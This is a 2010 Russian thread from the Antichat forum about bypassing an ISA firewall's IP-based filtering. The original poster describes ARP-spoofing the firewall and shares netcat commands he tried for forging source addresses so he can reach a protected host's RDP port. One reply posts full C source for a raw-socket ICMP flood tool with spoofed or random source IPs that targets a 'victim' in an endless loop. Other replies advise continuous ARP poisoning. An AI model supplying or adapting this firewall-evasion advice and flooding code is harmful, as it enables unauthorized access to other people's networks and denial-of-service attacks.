Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Безопасность (https://forum.antichat.xyz/forumdisplay.php?f=41)
-   -   Обойти сетевой экран (https://forum.antichat.xyz/showthread.php?t=210483)

evil6its 10.06.2010 02:33

Обойти сетевой экран
 
У меня такая ситуация. В соседней сети имеется машина защищённая фаерволом ISA, данный сетевой экран фильтрует трафик между двумя сетями. Фильтрация идёт по IP адресам.

Есть второй комп из моей сети, которому доступ к сервисам защищённого хоста разрешён. Мне удалось заспуфить MAC адрес выдав свой MAC за разрешённый отравив таблицу MAC адресов на сетевом экране. Затем я заслал пару пакетов с флагом SYN на пару портов защищённого хоста утилитами hping и nemesis, в ответ пришли пакеты с флажками SYN\ACK, что означает что сервис доступен, то есть защиту можно обойти.

Но теперь я застрял. Я хочу сделать так чтобы возможно было инициализировать сессию со своей машины, но на выходе мне нужно, что бы возможно было подставить подделанный IP адрес, тем самым обмануть access лист. Я пробовал с netcat и кучей других прог под линуксом, однако ничего не получается возможно что то не так делаю.
Нужен скрипт или прога которая бы позволила на выходе подставлять в заголовки пакетов, левый IP.

К слову у меня была идея создать что то вроде локального туннеля с двумя открытыми портами. Куда бы я указал допустим своей программе на локальный хост порт 1 и автоматом это перебрасовалось бы на целевой хост с целевым портом и подделанным IP адресом.
Пробовал вариации типа :
nc -l p 4433 | nc -s 192.168.spo.of 192.168.ta.rg -p 3389
nc -l p 4433 > nc -s 192.168.spo.of 192.168.ta.rg -p 3389 и т. д.

Однако ничего не выходит. У кого нибудь есть идея, или может кто знает софтину которая бы могла переадресовать трафик и подменить ИП на выходе.
Решение я естественно ищу под линукс.

(Dm) 10.06.2010 02:59

Цитата:

Сообщение от evil6its
Мне удалось заспуфить MAC адрес выдав свой MAC за разрешённый отравив таблицу MAC адресов на сетевом экране.

Что значит заспуфить MAC? ты имеешь ввиду arp спуфинг ?
Опиши подробнее конфигурацию сети.

lukmus 10.06.2010 05:00

Цитата:

Нужен скрипт или прога которая бы позволила на выходе подставлять в заголовки пакетов, левый IP.
Тут код для icmp-flooding, собирается пакет ip и собственно исходный ip меняется на заданный и отправляется широковещательный запрос.
Тебе соответсвенно нужно отправлять свои пакеты и не бесконечно, поэтому следует убрать бесконечный цикл и подкорретировать содержание пакетов.

Для того чтобы эта штука работала необходимо старенькое какое-нить ядро, или покрайней мере отключить там всякие selinux и прочие штуки.

Цитата:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>

/*--------------------------------------*/
/* Преобразование имени узла в IP-адрес */
/*--------------------------------------*/
unsigned long resolve(char *hostname)
{
struct hostent *hp;

if ( (hp = gethostbyname(hostname)) == NULL) {
herror("gethostbyname() failed");
exit(-1);
}

return *(unsigned long *)hp->h_addr_list[0];
}

/*------------------------------*/
/* Вычисление контрольной суммы */

/*------------------------------*/
unsigned short in_cksum(unsigned short *addr, int len)
{
unsigned short result;
unsigned int sum = 0;

/* складываем все двухбайтовые слова */
while (len > 1) {
sum += *addr++;
len -= 2;
}

/* если остался лишний байт, прибавляем его к сумме */
if (len == 1)
sum += *(unsigned char*) addr;

sum = (sum >> 16) + (sum & 0xFFFF);
/* добавляем перенос */
sum += (sum >> 16);
/* еще раз */
result = ~sum;
/* инвертируем результат */
return result;
}

/*------------------------*/
/* Главная функция main() */
/*------------------------*/

int main(int argc, char *argv[])
{
int sd;
const int on = 1;
int rnd = 0;
unsigned long dstaddr, srcaddr;
struct sockaddr_in servaddr;

char sendbuf[sizeof(struct iphdr) + sizeof(struct icmp) + 1400];
struct iphdr *ip_hdr = (struct iphdr *)sendbuf;
struct icmp *icmp_hdr = (struct icmp *) (sendbuf + sizeof(struct iphdr));

if (argc != 3)
{
fprintf(stderr,
"Usage: %s <source address | random> <destination address>\n",
argv[0]);
exit (-1);
}

/* создаем raw-сокет */
if ( (sd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket() failed");
exit(-1);
}

/* так как будем самостоятельно заполнять IP-заголовок,
то устанавливаем опцию IP_HDRINCL */
if (setsockopt(sd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt() failed");
exit(-1);
}

/* даем возможность посылать широковещательные сообщения */
if (setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)) < 0) {
perror("setsockopt() failed");
exit(-1);
}

/* если в первом аргументе командной строки указано random,
то IP-адрес источника выбирается случайным образом */
if (!strcmp(argv[1], "random")) {
rnd = 1;
srcaddr = random();
} else
srcaddr = resolve(argv[1]);

/* IP-адрес жертвы */
dstaddr = resolve(argv[2]);

bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = dstaddr;

/* заполняем IP-заголовок */
ip_hdr->ihl = 5;
ip_hdr->version = 4;
ip_hdr->tos = 0;
ip_hdr->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmp) + 1400);
ip_hdr->id = 0;
ip_hdr->frag_off = 0;
ip_hdr->ttl = 255;
ip_hdr->protocol = IPPROTO_ICMP;
ip_hdr->check = 0;
ip_hdr->check = in_cksum((unsigned short *)ip_hdr, sizeof(struct iphdr));
ip_hdr->saddr = srcaddr;
ip_hdr->daddr = dstaddr;

/* заполняем ICMP-заголовок */
icmp_hdr->icmp_type = ICMP_ECHO;
icmp_hdr->icmp_code = 0;
icmp_hdr->icmp_id = 1;
icmp_hdr->icmp_seq = 1;
icmp_hdr->icmp_cksum = 0;
icmp_hdr->icmp_cksum = in_cksum((unsigned short *)icmp_hdr, sizeof(struct icmp) + 1400);

/* в бесконечном цикле отправляем пакеты */
while (1) {
if (sendto(sd,
sendbuf,
sizeof(sendbuf),
0,
(struct sockaddr *)&servaddr,
sizeof(servaddr)) < 0) {
perror("sendto() failed");
exit(-1);
}

/* взять новый случайный IP-адрес источника, если
в первом аргументе командной строки было указано random */
if (rnd)
ip_hdr->saddr = random();
}

return 0;
}


evil6its 10.06.2010 20:13

Цитата:

Сообщение от (Dm)
Что значит заспуфить MAC? ты имеешь ввиду arp спуфинг ?
Опиши подробнее конфигурацию сети.

Под этим я имел ввиду то, что я подменил в MAC таблице фаервола соответствие ип адреса с мак адресом разрешённого хоста, на свой мак адрес с помощью утилиты arpspoof. В результате пакеты исходящие от фаерволла идут уже на мой компьютер. Как я предполагаю осталось только, заспуфить свой ИП, чтобы пакеты шедшие от меня проходили через фаерволл и приходили обратно ко мне. По сути дела это 3 уровень модели OSI если так по научному, вот тут я и застрял.

А конфиг сети простой просто один комп коннектится на другой через ISA сервер. Этот сервер по сути дела шлюз, между двумя сетями. Тут я обманываю тока этот шлюз больше ничего не трогаю.

evil6its 10.06.2010 20:19

Цитата:

Сообщение от lukmus
Тут код для icmp-flooding, собирается пакет ip и собственно исходный ip меняется на заданный и отправляется широковещательный запрос.
Тебе соответсвенно нужно отправлять свои пакеты и не бесконечно, поэтому следует убрать бесконечный цикл и подкорретировать содержание пакетов.

Для того чтобы эта штука работала необходимо старенькое какое-нить ядро, или покрайней мере отключить там всякие selinux и прочие штуки.

Да спасибо за код, хоть я в программировании и чайник, но попробую покавыряться, может получится.

guard_force 10.06.2010 21:50

Чето как то не понятно...зачем подменять ip на выходе если все пойдет через isa ? Ведь у него таблица и так отравлена, обмен между ним и тобой уже происходит по mac адресам ....Должно работать и так...Вот смотри, ты травишь isa , у него твой реальный мак и подмененный ip, он посылает запрос в другую сеть/подсеть с подложным ip, жертва принимает запрос отвечает на подложный ip адрес через isa сервер у которого таблица отравлена (травится постоянно), isa сверяет этот ip c таблицей отвечает на твой mac адрес.... просто постоянно трави isa сервер и обращайся к машине за ним...Кстати какая адресация у сеток?


Время: 22:30